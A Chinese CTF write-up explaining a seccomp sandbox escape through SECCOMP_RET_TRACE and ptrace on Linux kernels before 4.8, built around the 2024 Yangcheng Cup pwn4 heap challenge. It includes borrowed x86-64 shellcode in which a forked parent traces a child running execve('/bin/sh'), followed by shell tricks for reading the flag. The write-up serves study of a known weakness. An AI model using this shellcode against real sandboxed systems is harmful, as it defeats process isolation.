return trace情况的沙盒逃逸(linux内核低于4.8版本)
原理讲解:
SECCOMP_RET_TRACE
是 seccomp 过滤器可以返回的一种动作值。其主要作用是在特定系统调用被触发时,通知一个基于 ptrace(2)
的追踪器(tracer)来处理该系统调用。具体机制如下:
-
过滤器配置:
- 进程设置 seccomp 过滤器,指定哪些系统调用应返回
SECCOMP_RET_TRACE
。
- 进程设置 seccomp 过滤器,指定哪些系统调用应返回
-
系统调用触发:
- 当受限进程执行一个被过滤器标记为SECCOMP_RET_TRAC的系统调用时,内核会进行以下操作:
- 检查是否有一个通过
ptrace
附加的追踪器。 - 如果存在追踪器,并且追踪器已通过
ptrace(PTRACE_SETOPTIONS)
请求了PTRACE_O_TRACESECCOMP
选项,则内核发送一个PTRACE_EVENT_SECCOMP
事件给追踪器。 - 追踪器可以通过
PTRACE_GETEVENTMSG
获取SECCOMP_RET_DATA
部分的数据,用于进一步的处理或决策。
- 检查是否有一个通过
- 如果没有追踪器存在,内核不会执行该系统调用,并返回失败状态,同时将
errno
设置为ENOSYS
(系统调用未实现)。
- 当受限进程执行一个被过滤器标记为SECCOMP_RET_TRAC的系统调用时,内核会进行以下操作:
-
追踪器的处理:
- 追踪器在接收到PTRACE_EVENT_SECCOMP事件后,可以选择以下操作:
-
跳过系统调用:通过将系统调用号更改为
-1
,请求内核跳过该系统调用。 - 修改系统调用:将系统调用号更改为另一个合法的系统调用,以替代原请求。
- 更改返回值:如果选择跳过系统调用,追踪器还可以指定一个返回值,内核将在受限进程中该系统调用的位置返回此值。
-
跳过系统调用:通过将系统调用号更改为
- 追踪器在接收到PTRACE_EVENT_SECCOMP事件后,可以选择以下操作:
-
内核版本的影响:
- 在 Linux 内核版本 4.8 之前,seccomp 检查在追踪器通知后不会再次执行。这意味着如果存在一个恶意的追踪器,它可以利用
SECCOMP_RET_TRACE
来操纵或绕过 seccomp 过滤器,导致安全沙箱被破坏。
- 在 Linux 内核版本 4.8 之前,seccomp 检查在追踪器通知后不会再次执行。这意味着如果存在一个恶意的追踪器,它可以利用
因此 绕过的原理为:
-
附加 Tracer:攻击者创建一个子进程(fork函数),并通过
ptrace(PTRACE_ATTACH, pid, 0, 0)
将父进程作为 Tracer 附加到子进程上。 -
拦截系统调用:当子进程执行被 Seccomp 过滤器标记为
SECCOMP_RET_TRACE
的系统调用时,内核会通知 Tracer。 -
修改系统调用:Tracers 可以通过
ptrace
接口修改被拦截的系统调用号,或请求跳过系统调用,从而绕过 Seccomp 的限制。 -
恢复执行:通过
ptrace(PTRACE_CONT, pid, 0, 0)
(或类似函数)恢复子进程的执行,允许修改后的系统调用继续。
例题讲解:
ycb pwn4
这里基本ban 了 open openat 可以用openat2去打本地 但是这个题目的话 由于openat2是在内核版本4.8几之后才引入的,低版本的内核是没有这个的,所以远程是打不了的 只能打本地.
是libc2.36的堆题,存在uaf漏洞 走apple链,关键是沙盒这部分的绕过,所以关于攻击执行这部分省略 重点侧重在沙盒的绕过部分shellcode如下:这里参考下这位大佬的shellcode部分
羊城杯 2024 pwn writeup | Qanux's space
_start:
/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */
test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */
/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */
parent_process:
/* Store child PID */
mov r8,rax
mov rsi, r8 /* rdi = child PID */
/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
/* Wait for the child to stop */
mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */
/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
/* Allow the child process to continue */
mov rax, 110
syscall
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
/* Loop to keep monitoring the child */
jmp monitor_child
child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */
/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall
mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process
_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
简单来说 就是子进程一直在执行execve("/bin/sh")受限制的命令,然后return trace信号传给父进程进行处理绕过
具体流程解释
-
*创建子进程
- 使用
fork
系统调用创建一个子进程。
- 使用
-
父进程附加到子进程:
- 父进程通过
ptrace(PTRACE_ATTACH, child_pid, 0, 0)
附加到子进程,使其成为 Tracer。 - 设置
PTRACE_SETOPTIONS
以追踪 Seccomp 事件,特别是PTRACE_O_TRACESECCOMP
,以便在子进程触发 Seccomp 时接收到通知。
- 父进程通过
-
监控子进程的系统调用:
- 父进程进入循环,通过
wait4
等待子进程状态变化。 - 当子进程执行被 Seccomp 筛选器标记为
SECCOMP_RET_TRACE
的系统调用时,内核会通知 Tracer(父进程)。 - 父进程可以通过
ptrace
修改、跳过或允许这些系统调用,从而绕过 Seccomp 的限制。
- 父进程进入循环,通过
-
子进程执行受限操作:
- 子进程尝试执行受限操作(如
execve("/bin/sh")
)。 - 由于 Seccomp 限制,该系统调用被标记为
SECCOMP_RET_TRACE
,导致子进程被暂停,等待父进程处理。
- 子进程尝试执行受限操作(如
-
父进程修改系统调用:
- 父进程通过
ptrace
改变系统调用的参数或其行为,使子进程能够成功执行原本被限制的操作。
- 父进程通过
-
恢复子进程执行:
- 父进程通过
ptrace(PTRACE_CONT, child_pid, 0, 0)
恢复子进程的执行,使其继续进行被修改后的系统调用。
- 父进程通过
可以成功拿到shell 但此时我们执行的指令本质上还是受到沙盒限制的,也就是说 我们不能直接执行ls或者cat flag这种因为这些指令本质上是要用到open哪些被禁用的指令
可以用echo * 来代替ls
用这种指令来获得flag
while IFS = read -r line
do
echo "$line"
done < flag
参考文献 :
https://man7.org/linux/man-pages/man2/seccomp.2.html
羊城杯 2024 pwn writeup | Qanux's space
0 条评论
可输入 255 字